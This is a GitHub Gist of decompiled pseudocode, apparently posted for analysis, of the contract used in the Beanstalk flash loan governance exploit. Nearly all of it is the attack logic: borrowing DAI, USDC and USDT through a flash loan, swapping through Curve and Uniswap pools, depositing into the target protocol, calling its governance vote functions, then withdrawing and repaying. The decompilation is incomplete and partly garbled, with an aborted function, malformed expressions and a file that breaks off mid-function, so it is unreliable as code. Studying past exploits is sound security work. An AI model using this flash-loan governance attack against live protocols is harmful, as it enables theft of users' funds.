Last active
April 22, 2022 11:40
-
-
Save pcaversaccio/f8f8a54e01de123f6ff3ef9da7791bec to your computer and use it in GitHub Desktop.
Decompiled Beanstalk flash loan exploit contract 0x79224bC0bf70EC34F0ef56ed8251619499a59dEf. I used the Panoramix decompiler.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# I failed with these: | |
# - unknownfa461e33(?) | |
# All the rest is below. | |
# | |
def execute(address _target, bytes _data): # not payable | |
require calldata.size - 4 >=′ 64 | |
require _target == _target | |
require _data <= 18446744073709551615 | |
require _data + 35 <′ calldata.size | |
require _data.length <= 18446744073709551615 | |
require _data + _data.length + 36 <= calldata.size | |
if caller != 0x1c5dcdd006ea78a7e4783f9e6021c32935a10fb4: | |
revert with 0, 'signer failure' | |
delegate _target with: | |
gas gas_remaining wei | |
args _data[all] | |
if not delegate.return_code: | |
revert with 0, 'ex failure' | |
def unknown726e04f6(): # not payable | |
require calldata.size - 4 >=′ 32 | |
mem[128] = 0x6b175474e89094c44da98b954eedeac495271d0f | |
mem[160] = 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 | |
mem[192] = 0xdac17f958d2ee523a2206206994597c13d831ec7 | |
mem[224] = 3 | |
idx = 0 | |
s = 740 | |
t = 128 | |
while idx < 3: | |
mem[s] = mem[t + 12 len 20] | |
idx = idx + 1 | |
s = s + 32 | |
t = t + 32 | |
continue | |
require ext_code.size(0x7d2768de32b0b80b7a3454c06bdac94a69ddc7a9) | |
call 0x7d2768de32b0b80b7a3454c06bdac94a69ddc7a9.0xab9c4b5d with: | |
gas gas_remaining wei | |
args addr(this.address), 224, 352, 480, addr(this.address), 608, 0, 3, mem[740 len 96], 3, 350000000 * 10^18, 5 * 10^14, 15 * 10^13 >> 512, 3, call.data[calldata.size len 96], 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
static call 0x87898263b6c5babe34b4ec53f22d98430b91e371.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
require return_data.size >=′ 32 | |
call 0x87898263b6c5babe34b4ec53f22d98430b91e371.transfer(address to, uint256 tokens) with: | |
gas gas_remaining wei | |
args 0x87898263b6c5babe34b4ec53f22d98430b91e371, ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
require ext_call.return_data == bool(ext_call.return_data[0]) | |
require ext_code.size(0x87898263b6c5babe34b4ec53f22d98430b91e371) | |
call 0x87898263b6c5babe34b4ec53f22d98430b91e371.burn(address address) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
call 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48.transfer(address to, uint256 tokens) with: | |
gas gas_remaining wei | |
args 0x165cd37b4c644c2921454429e7f9358d18a45e14, 25 * 10^10 | |
require return_data.size >=′ 32 | |
require ext_call.return_data == bool(ext_call.return_data[0]) | |
static call 0x6b175474e89094c44da98b954eedeac495271d0f.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
call 0x5777d92f208679db4b9778590fa3cab3ac9e2168.0xdfe1681 with: | |
gas gas_remaining wei | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
require ext_call.return_data == ext_call.return_data[12 len 20] | |
... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
def unknown920f5c84(): # not payable | |
require calldata.size - 4 >=′ 160 | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 4).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(32 * ('cd', 4).length) + 97 < 96 or ceil32(32 * ('cd', 4).length) + 97 > 18446744073709551615: | |
revert with 0, 65 | |
mem[96] = ('cd', 4).length | |
require cd * ('cd', 4).length) + 36 <= calldata.size | |
s = 128 | |
idx = cd[4] + 36 | |
while idx < cd * ('cd', 4).length) + 36: | |
require cd[idx] == addr(cd[idx]) | |
mem[s] = cd[idx] | |
s = s + 32 | |
idx = idx + 32 | |
continue | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 36).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(32 * ('cd', 36).length) + 98 < 97 or ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 98 > 18446744073709551615: | |
revert with 0, 65 | |
mem[ceil32(32 * ('cd', 4).length) + 97] = ('cd', 36).length | |
require cd * ('cd', 36).length) + 36 <= calldata.size | |
idx = cd[36] + 36 | |
s = ceil32(32 * ('cd', 4).length) + 129 | |
while idx < cd * ('cd', 36).length) + 36: | |
mem[s] = cd[idx] | |
idx = idx + 32 | |
s = s + 32 | |
continue | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 68).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(32 * ('cd', 68).length) + 99 < 98 or ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + 99 > 18446744073709551615: | |
revert with 0, 65 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 98] = ('cd', 68).length | |
require cd * ('cd', 68).length) + 36 <= calldata.size | |
idx = cd[68] + 36 | |
s = ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 130 | |
while idx < cd * ('cd', 68).length) + 36: | |
mem[s] = cd[idx] | |
idx = idx + 32 | |
s = s + 32 | |
continue | |
require cd == addr(cd) | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
if ('cd', 132).length > 18446744073709551615: | |
revert with 0, 65 | |
if ceil32(ceil32(('cd', 132).length)) + 100 < 99 or ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + 100 > 18446744073709551615: | |
revert with 0, 65 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + 99] = ('cd', 132).length | |
require cd('cd', 132).length + 36 <= calldata.size | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + 131 len ('cd', 132).length] = call.data[cd('cd', 132).length] | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ('cd', 132).length + 131] = 0 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + 104] = 0x87898263b6c5babe34b4ec53f22d98430b91e371 | |
static call 0xdc59ac4fefa32293a95889dc396682858d52e5db.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args 0x87898263b6c5babe34b4ec53f22d98430b91e371 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + 100] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
revert with 0, 17 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + ceil32(return_data.size) + 132] = 0xdc59ac4fefa32293a95889dc396682858d52e5db | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + ceil32(return_data.size) + 100] = 32 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + ceil32(return_data.size) + 200] = 99 * ext_call.return_data / 100 | |
require ext_code.size(0x87898263b6c5babe34b4ec53f22d98430b91e371) | |
call 0x87898263b6c5babe34b4ec53f22d98430b91e371.0x22c0d9f with: | |
gas gas_remaining wei | |
args 0, 99 * ext_call.return_data / 100, addr(this.address), 128, 32, 0xdc59ac4fefa32293a95889dc396682858d52e5db | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + ceil32(return_data.size) + 168] = this.address | |
static call 0x5f98805a4e8be255a32880fdec7f6728c6568ba0.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + ceil32(return_data.size) + 164] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (2 * ceil32(return_data.size)) + 200] = 1 | |
require ext_code.size(0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca) | |
call 0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca.exchange(int128 param1, int128 param2, uint256 param3, uint256 param4) with: | |
gas gas_remaining wei | |
args 0, 1, ext_call.return_data[0], 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (2 * ceil32(return_data.size)) + 168] = this.address | |
static call 0x6c3f90f043a72fa612cbac8115ee7e52bde6e490.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (2 * ceil32(return_data.size)) + 164] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
if ext_call.return_data > 0x2492492492492492492492492492492492492492492492492492492492492492: | |
revert with 0, 17 | |
if ext_call.return_data < ext_call.return_data / 2: | |
revert with 0, 17 | |
if ext_call.return_data / 2) < 7 * ext_call.return_data / 20: | |
revert with 0, 17 | |
require ext_code.size(0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7) | |
call 0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7.0x1a4d01d2 with: | |
gas gas_remaining wei | |
args Mask(255, 1, ext_call.return_data[0]), 1, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require ext_code.size(0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7) | |
call 0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7.0x1a4d01d2 with: | |
gas gas_remaining wei | |
args 7 * ext_call.return_data / 20, 0, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (4 * ceil32(return_data.size)) + 200] = 2 | |
require ext_code.size(0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7) | |
call 0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7.0x1a4d01d2 with: | |
gas gas_remaining wei | |
args ext_call.return_data / 2) - (7 * ext_call.return_data / 20), 2, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
if 0 >= ('cd', 68).length: | |
revert with 0, 50 | |
if 0 >= ('cd', 36).length: | |
revert with 0, 50 | |
if mem[ceil32(32 * ('cd', 4).length) + 129] > !mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 130]: | |
revert with 0, 17 | |
if 0 >= ('cd', 4).length: | |
revert with 0, 50 | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (4 * ceil32(return_data.size)) + 168] = this.address | |
static call mem[140 len 20].balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (4 * ceil32(return_data.size)) + 164] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if ext_call.return_data < mem[ceil32(32 * ('cd', 4).length) + 129] + mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 130]: | |
revert with 0, 'DAI failed balance check' | |
if 1 >= ('cd', 68).length: | |
revert with 0, 50 | |
_542 = mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 162] | |
if 1 >= ('cd', 36).length: | |
revert with 0, 50 | |
_548 = mem[ceil32(32 * ('cd', 4).length) + 161] | |
if mem[ceil32(32 * ('cd', 4).length) + 161] > !mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 162]: | |
revert with 0, 17 | |
if 1 >= ('cd', 4).length: | |
revert with 0, 50 | |
_552 = mem[160] | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (6 * ceil32(return_data.size)) + 168] = this.address | |
static call addr(_552).balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + ceil32(32 * ('cd', 68).length) + ceil32(ceil32(('cd', 132).length)) + (6 * ceil32(return_data.size)) + 164] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if ext_call.return_data < _548 + _542: | |
revert with 0, 'USDC failed balance check' | |
if 2 >= ('cd', 68).length: | |
revert with 0, 50 | |
if 2 >= ('cd', 36).length: | |
revert with 0, 50 | |
if mem[ceil32(32 * ('cd', 4).length) + 193] > !mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 194]: | |
revert with 0, 17 | |
if 2 >= ('cd', 4).length: | |
revert with 0, 50 | |
static call mem[204 len 20].balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if ext_call.return_data < mem[ceil32(32 * ('cd', 4).length) + 193] + mem[ceil32(32 * ('cd', 4).length) + ceil32(32 * ('cd', 36).length) + 194]: | |
revert with 0, 'USDT failed balance check' | |
return 1 | |
def unknown10d1e85c(): # not payable | |
require calldata.size - 4 >=′ 128 | |
require cd == addr(cd) | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
require ('cd', 100).length <= 18446744073709551615 | |
require cd('cd', 100).length + 36 <= calldata.size | |
require ('cd', 100).length >=′ 32 | |
require ('cd', 100) == addr(('cd', 100)) | |
if not addr(('cd', 100)) - 0xdc59ac4fefa32293a95889dc396682858d52e5db: | |
mem[100] = 0x46e4d8a1322b9448905225e52f914094dbd6dddf | |
static call 0x5f98805a4e8be255a32880fdec7f6728c6568ba0.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args 0x46e4d8a1322b9448905225e52f914094dbd6dddf | |
mem[96] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
if ext_call.return_data > 0x295fad40a57eb50295fad40a57eb50295fad40a57eb50295fad40a57eb50295: | |
revert with 0, 17 | |
mem[ceil32(return_data.size) + 128] = 0x5f98805a4e8be255a32880fdec7f6728c6568ba0 | |
mem[ceil32(return_data.size) + 96] = 32 | |
require ext_code.size(0x46e4d8a1322b9448905225e52f914094dbd6dddf) | |
call 0x46e4d8a1322b9448905225e52f914094dbd6dddf.0x22c0d9f with: | |
gas gas_remaining wei | |
args 99 * ext_call.return_data / 100, 0, addr(this.address), 128, 32, 0x5f98805a4e8be255a32880fdec7f6728c6568ba0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
if cd > 0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7: | |
revert with 0, 17 | |
if 1 > !(1000 * cd / 997): | |
revert with 0, 17 | |
mem[ceil32(return_data.size) + 196] = caller | |
mem[ceil32(return_data.size) + 228] = (1000 * cd / 997) + 1 | |
mem[ceil32(return_data.size) + 160] = 68 | |
mem[ceil32(return_data.size) + 196 len 28] = Mask(224, 32, caller) >> 32 | |
mem[ceil32(return_data.size) + 192 len 4] = transfer(address to, uint256 tokens) | |
mem[ceil32(return_data.size) + 260] = 32 | |
mem[ceil32(return_data.size) + 292] = 'SafeERC20: low-level call failed' | |
if eth.balance(this.address) < 0: | |
revert with 0, 'Address: insufficient balance for call' | |
if not ext_code.size(0xdc59ac4fefa32293a95889dc396682858d52e5db): | |
revert with 0, 'Address: call to non-contract' | |
mem[ceil32(return_data.size) + 324 len 96] = transfer(address to, uint256 tokens), caller, (1000 * cd / 997) + 1, 0 | |
mem[ceil32(return_data.size) + 392] = 0 | |
call 0xdc59ac4fefa32293a95889dc396682858d52e5db with: | |
funct Mask(32, 224, transfer(address to, uint256 tokens), caller, (1000 * cd / 997) + 1, 0) >> 224 | |
gas gas_remaining wei | |
args (Mask(512, -288, transfer(address to, uint256 tokens), caller, (1000 * cd / 997) + 1, 0) << 288) | |
if not return_data.size: | |
if not ext_call.success: | |
if ext_call.return_data[0]: | |
revert with memory | |
from 128 | |
len ext_call.return_data[0] | |
revert with 0, 'SafeERC20: low-level call failed' | |
if ext_call.return_data[0]: | |
require ext_call.return_data >=′ 32 | |
require 0, mem[132 len 28] == bool(0, mem[132 len 28]) | |
if not 0, mem[132 len 28]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
else: | |
mem[ceil32(return_data.size) + 356 len return_data.size] = ext_call.return_data[0 len return_data.size] | |
if not ext_call.success: | |
if return_data.size: | |
revert with ext_call.return_data[0 len return_data.size] | |
revert with 0, 'SafeERC20: low-level call failed' | |
if return_data.size: | |
require return_data.size >=′ 32 | |
require mem[ceil32(return_data.size) + 356] == bool(mem[ceil32(return_data.size) + 356]) | |
if not mem[ceil32(return_data.size) + 356]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
else: | |
mem[196] = this.address | |
static call 0x6b175474e89094c44da98b954eedeac495271d0f.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[192] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
mem[ceil32(return_data.size) + 196] = this.address | |
static call 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[ceil32(return_data.size) + 192] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
mem[128] = ext_call.return_data[0] | |
mem[(2 * ceil32(return_data.size)) + 196] = this.address | |
static call 0xdac17f958d2ee523a2206206994597c13d831ec7.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(2 * ceil32(return_data.size)) + 192] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
mem[160] = ext_call.return_data[0] | |
require ext_code.size(0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7) | |
call 0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7.add_liquidity(uint256 param1, uint256 param2) with: | |
gas gas_remaining wei | |
args ext_call.return_data >> 512, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(4 * ceil32(return_data.size)) + 292] = 0 | |
require ext_code.size(0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca) | |
call 0xed279fdd11ca84beef15af5d39bb4d4bee23f0ca.exchange(int128 param1, int128 param2, uint256 param3, uint256 param4) with: | |
gas gas_remaining wei | |
args 1, 0, 15000000 * 10^18, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(4 * ceil32(return_data.size)) + 192] = 0 | |
mem[(4 * ceil32(return_data.size)) + 260] = this.address | |
static call 0x6c3f90f043a72fa612cbac8115ee7e52bde6e490.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(4 * ceil32(return_data.size)) + 256] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
mem[(4 * ceil32(return_data.size)) + 224] = ext_call.return_data[0] | |
require ext_code.size(0x3a70dfa7d2262988064a2d051dd47521e43c9bdd) | |
call 0x3a70dfa7d2262988064a2d051dd47521e43c9bdd.add_liquidity(uint256 param1, uint256 param2) with: | |
gas gas_remaining wei | |
args 0, ext_call.return_data[0], 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(6 * ceil32(return_data.size)) + 324] = this.address | |
static call 0xdc59ac4fefa32293a95889dc396682858d52e5db.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(6 * ceil32(return_data.size)) + 320] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
mem[(6 * ceil32(return_data.size)) + 256] = ext_call.return_data[0] | |
mem[(7 * ceil32(return_data.size)) + 324] = this.address | |
static call 0x5f98805a4e8be255a32880fdec7f6728c6568ba0.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(7 * ceil32(return_data.size)) + 320] = ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require return_data.size >=′ 32 | |
mem[(6 * ceil32(return_data.size)) + 288] = ext_call.return_data[0] | |
if 1 > !block.timestamp: | |
revert with 0, 17 | |
mem[(8 * ceil32(return_data.size)) + 324 len 64] = ext_call.return_data[0], ext_call.return_data[0] | |
mem[(8 * ceil32(return_data.size)) + 388] = block.timestamp + 1 | |
require ext_code.size(0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d) | |
call 0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d.add_liquidity(uint256 param1, uint256 param2) with: | |
gas gas_remaining wei | |
args ext_call.return_dataestamp + 1 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(8 * ceil32(return_data.size)) + 324] = this.address | |
static call 0x3a70dfa7d2262988064a2d051dd47521e43c9bdd.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(8 * ceil32(return_data.size)) + 320] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
mem[(10 * ceil32(return_data.size)) + 356] = ext_call.return_data[0] | |
require ext_code.size(0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5) | |
call 0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5.deposit(address tokenAddress, uint256 amount) with: | |
gas gas_remaining wei | |
args 0x3a70dfa7d2262988064a2d051dd47521e43c9bdd, ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(10 * ceil32(return_data.size)) + 324] = this.address | |
static call 0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(10 * ceil32(return_data.size)) + 320] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
mem[(11 * ceil32(return_data.size)) + 356] = ext_call.return_data[0] | |
require ext_code.size(0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5) | |
call 0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5.deposit(address tokenAddress, uint256 amount) with: | |
gas gas_remaining wei | |
args 0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d, ext_call.return_data[0] | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require ext_code.size(0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5) | |
call 0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5.vote(uint32 candidate) with: | |
gas gas_remaining wei | |
args 18 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
require ext_code.size(0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5) | |
call 0xc1e088fc1323b20bcbee9bd1b9fc9546db5624c5.0x73015684 with: | |
gas gas_remaining wei | |
args 18 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(11 * ceil32(return_data.size)) + 324] = this.address | |
static call 0x3a70dfa7d2262988064a2d051dd47521e43c9bdd.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(11 * ceil32(return_data.size)) + 320] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
mem[(12 * ceil32(return_data.size)) + 356] = 1 | |
mem[(12 * ceil32(return_data.size)) + 388] = 0 | |
require ext_code.size(0x3a70dfa7d2262988064a2d051dd47521e43c9bdd) | |
call 0x3a70dfa7d2262988064a2d051dd47521e43c9bdd.0x1a4d01d2 with: | |
gas gas_remaining wei | |
args ext_call.return_data[0], 1, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
mem[(12 * ceil32(return_data.size)) + 324] = this.address | |
static call 0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d.balanceOf(address tokenOwner) with: | |
gas gas_remaining wei | |
args this.address | |
mem[(12 * ceil32(return_data.size)) + 320] = ext_call.return_data[0] | |
require return_data.size >=′ 32 | |
require ext_code.size(0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d) | |
call 0xd652c40fbb3f06d6b58cb9aa9cff063ee63d465d.0x1a4d01d2 with: | |
gas gas_remaining wei | |
args ext_call.return_data[0], 1, 0 | |
if not ext_call.success: | |
revert with ext_call.return_data[0 len return_data.size] | |
if cd > 0x4189374bc6a7ef9db22d0e5604189374bc6a7ef9db22d0e5604189374bc6a7: | |
revert with 0, 17 | |
if 1 > !(1000 * cd / 997): | |
revert with 0, 17 | |
mem[(13 * ceil32(return_data.size)) + 356] = caller | |
mem[(13 * ceil32(return_data.size)) + 388] = (1000 * cd / 997) + 1 | |
mem[(13 * ceil32(return_data.size)) + 320] = 68 | |
mem[(13 * ceil32(return_data.size)) + 352 len 4] = transfer(address to, uint256 tokens) | |
mem[(13 * ceil32(return_data.size)) + 420] = 32 | |
mem[(13 * ceil32(return_data.size)) + 452] = 'SafeERC20: low-level call failed' | |
if eth.balance(this.address) < 0: | |
revert with 0, 'Address: insufficient balance for call' | |
if not ext_code.size(0x5f98805a4e8be255a32880fdec7f6728c6568ba0): | |
revert with 0, 'Address: call to non-contract' | |
mem[(13 * ceil32(return_data.size)) + 484 len 96] = 0, caller, (1000 * cd / 997) + 1, 0 | |
mem[(13 * ceil32(return_data.size)) + 552] = 0 | |
call 0x5f98805a4e8be255a32880fdec7f6728c6568ba0 with: | |
funct Mask(32, 224, 0, caller, (1000 * cd / 997) + 1, 0) >> 224 | |
gas gas_remaining wei | |
args (Mask(512, -288, 0, caller, (1000 * cd / 997) + 1, 0) << 288) | |
if not return_data.size: | |
if not ext_call.success: | |
if ext_call.return_data[0]: | |
revert with memory | |
from 128 | |
len ext_call.return_data[0] | |
revert with 0, 'SafeERC20: low-level call failed' | |
if ext_call.return_data[0]: | |
require ext_call.return_data >=′ 32 | |
require ext_call.return_data == bool(ext_call.return_data[0]) | |
if not ext_call.return_data[0]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
else: | |
mem[(13 * ceil32(return_data.size)) + 516 len return_data.size] = ext_call.return_data[0 len return_data.size] | |
if not ext_call.success: | |
if return_data.size: | |
revert with ext_call.return_data[0 len return_data.size] | |
revert with 0, 'SafeERC20: low-level call failed' | |
if return_data.size: | |
require return_data.size >=′ 32 | |
require mem[(13 * ceil32(return_data.size)) + 516] == bool(mem[(13 * ceil32(return_data.size)) + 516]) | |
if not mem[(13 * ceil32(return_data.size)) + 516]: | |
revert with 0, 'SafeERC20: ERC20 operation did not succeed' | |
def _fallback() payable: # default function | |
if calldata.size < 4: | |
require not calldata.size | |
else: | |
if uint32(call.func_hash) >> 224 != 282191964: | |
if execute(address target, bytes data) == uint32(call.func_hash) >> 224: | |
require not call.value | |
require calldata.size - 4 >=′ 64 | |
require cd == addr(cd) | |
require cd <= 18446744073709551615 | |
require cd <′ calldata.size | |
require ('cd', 36).length <= 18446744073709551615 | |
require cd('cd', 36).length + 36 <= calldata.size | |
if caller != 0x1c5dcdd006ea78a7e4783f9e6021c32935a10fb4: | |
revert with 0, 'signer failure' | |
delegate addr(cd) with: | |
gas gas_remaining wei | |
args call.data[cd('cd', 36).length] | |
if not delegate.return_code: | |
revert with 0, 'ex failure' | |
else: | |
if 1919812854 == uint32(call.func_hash) >> 224: | |
require not call.value | |
require calldata.size - 4 >=′ 32 | |
mem[160] = 0x6b175474e89094c44da98b954eedeac495271d0f | |
mem[192] = 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 | |
